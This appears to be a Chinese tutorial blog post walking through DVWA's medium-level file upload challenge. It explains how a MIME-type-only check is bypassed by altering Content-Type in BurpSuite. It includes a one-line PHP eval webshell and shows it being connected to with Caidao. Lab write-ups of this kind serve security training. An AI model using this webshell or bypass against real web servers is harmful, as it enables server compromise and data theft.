DVWA靶机-File Upload(文件上传漏洞)二

谁都会走 提交于 2020-07-27 22:39:41

DVWA靶机-File Upload(文件上传漏洞medium级别)

1、文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等
2、正常的文件一般是文档、图片、视频等,Web应用收集之后放入后台存储,需要的时候再调用出来返回
3、如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell
4、一旦黑客拿到Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进一步拿下整个服务器甚至内网
5、SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击Web服务,实际渗透两种相结合,达到对目标的深度控制



  在中安全级别下,我们首先尝试一下上传正常的jpg文件
在这里插入图片描述
  可以看到能成功上传

  再来上传一个php文件看看
在这里插入图片描述
  发现php文件上传失败了

  我们再打开后端源码看一看

<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_type = $_FILES['uploaded']['type'];
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                    
                  } else {
                
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }
            else{
                echo '<pre>Your image was not uploaded.</pre>';
            }
        }
?>
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000))

  可以看到相比于low级别,medium级别新增了限制条件,只允许上传小于 100000 字节并且type类型是image/jpeg的文件。

  这里的jpeg并不是文件的扩展名,是指文件的类型mime

  那什么又是mime呢?
  在向服务器发起请求的时候,请求的对象有很多种,例如图片、html代码、CSS样式表还有php程序等等很多种对象的类型,那我们请求完之后,对象传过来了我们应该用哪个应用程序去打开,进行查看等操作呢,这个时候就有一个叫做mime类型的东西
  mime类型被定义在Content-Type header中,当type类型为image/jpeg时,就会用看图片的软件去打开,type类型为text/plain时,就会用文本类型的软件去打开等等

  言归正传,因为源码中限制的是文件的上传类型,而不是文件的后缀名

  所以思路就是上传一句话木马shell1.php — 通过BurpSuite抓包 — 更改type类型 — 转发上传

  老样子,先写一个一句话木马shell1.php

<?php @eval($_POST['pass']);?>

  设置火狐浏览器代理指向BurpSuite
在这里插入图片描述
  然后打开BurpSuite开启拦截功能
在这里插入图片描述
  返回页面,上传我们的shell1.php
在这里插入图片描述




  可以看到BurpSuite成功拦截了下来
在这里插入图片描述
  将他的type类型修改成image/jpeg,点击Forward进行转发
在这里插入图片描述
  上传成功



  打开菜刀,连接一下木马
在这里插入图片描述
  老规矩尝试权限
在这里插入图片描述
  OK,完事



标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!